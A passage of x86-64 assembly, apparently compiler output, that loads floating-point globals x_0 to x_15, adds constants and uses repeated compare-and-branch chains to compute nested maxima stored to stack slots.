pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1371
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L76
.L1371:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
jmp .L76
.L1370:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1372
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
jmp .L76
.L1372:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L76:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1373
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L82
.L1373:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
.L82:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC17[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_15[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC18[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1374
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC17[rip]
addsd xmm2, xmm3
jmp .L85
.L1374:
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC18[rip]
addsd xmm2, xmm3
.L85:
comisd xmm1, xmm2
jbe .L1375
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1376
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L91
.L1376:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L91
.L1375:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC18[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1377
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L91
.L1377:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
.L91:
comisd xmm0, xmm1
jbe .L1378
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1379
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L99
.L1379:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
.L99:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1380
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
jmp .L102
.L1380:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L102:
comisd xmm0, xmm1
jbe .L1381
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1382
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L112
.L1382:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
jmp .L112
.L1381:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1383
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
jmp .L112
.L1383:
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L112
.L1378:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1384
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L115
.L1384:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
.L115:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC18[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1385
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L118
.L1385:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
.L118:
comisd xmm0, xmm1
jbe .L1386
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1387
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L112
.L1387:
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L112
.L1386:
movss xmm0, DWORD PTR x_14[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC18[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1388
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC20[rip]
addss xmm0, xmm1
jmp .L112
.L1388:
movss xmm1, DWORD PTR x_15[rip]
movss xmm0, DWORD PTR .LC21[rip]
addss xmm0, xmm1
.L112:
movss DWORD PTR -60[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1389
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
jmp .L130
.L1389:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
.L130:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1390
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L133
.L1390:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L133:
comisd xmm0, xmm1
jbe .L1391
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1392
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
jmp .L139
.L1392:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L139
.L1391:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1393
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L139
.L1393:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L139:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1394
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
jmp .L145
.L1394:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
.L145:
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC0[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_14[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC24[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1395
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC0[rip]
addsd xmm2, xmm3
jmp .L148
.L1395:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
.L148:
comisd xmm1, xmm2
jbe .L1396
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1397
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
jmp .L154
.L1397:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
jmp .L154
.L1396:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1398
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L154
.L1398:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
.L154:
comisd xmm0, xmm1
jbe .L1399
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1400
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
jmp .L162
.L1400:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
.L162:
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1401
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L165
.L1401:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L165:
comisd xmm0, xmm1
jbe .L1402
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1403
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC25[rip]
addss xmm0, xmm1
jmp .L175
.L1403:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC15[rip]
addss xmm0, xmm1
jmp .L175
.L1402:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1404
movss xmm1, DWORD PTR x_5[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L175
.L1404:
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L175
.L1399:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1405
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
jmp .L178
.L1405:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L178:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC24[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1406
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC0[rip]
addsd xmm1, xmm2
jmp .L181
.L1406:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
.L181:
comisd xmm0, xmm1
jbe .L1407
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1408
movss xmm1, DWORD PTR x_7[rip]
movss xmm0, DWORD PTR .LC15[rip]
addss xmm0, xmm1
jmp .L175
.L1408:
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L175
.L1407:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC24[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1409
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L175
.L1409:
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC27[rip]
addss xmm0, xmm1
.L175:
movss DWORD PTR -56[rbp], xmm0
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1410
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L193
.L1410:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
.L193:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1411
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC28[rip]
addsd xmm1, xmm2
jmp .L196
.L1411:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
.L196:
comisd xmm0, xmm1
jbe .L1412
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1413
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L202
.L1413:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
jmp .L202
.L1412:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1414
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC28[rip]
addsd xmm0, xmm1
jmp .L202
.L1414:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
.L202:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1415
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L208
.L1415:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L208:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_13[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC29[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1416
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
jmp .L211
.L1416:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC29[rip]
addsd xmm2, xmm3
.L211:
comisd xmm1, xmm2
jbe .L1417
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_11[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1418
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L217
.L1418:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L217
.L1417:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC29[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1419
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L217
.L1419:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
.L217:
comisd xmm0, xmm1
jbe .L1420
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1421
movss xmm0, DWORD PTR x_1[rip]
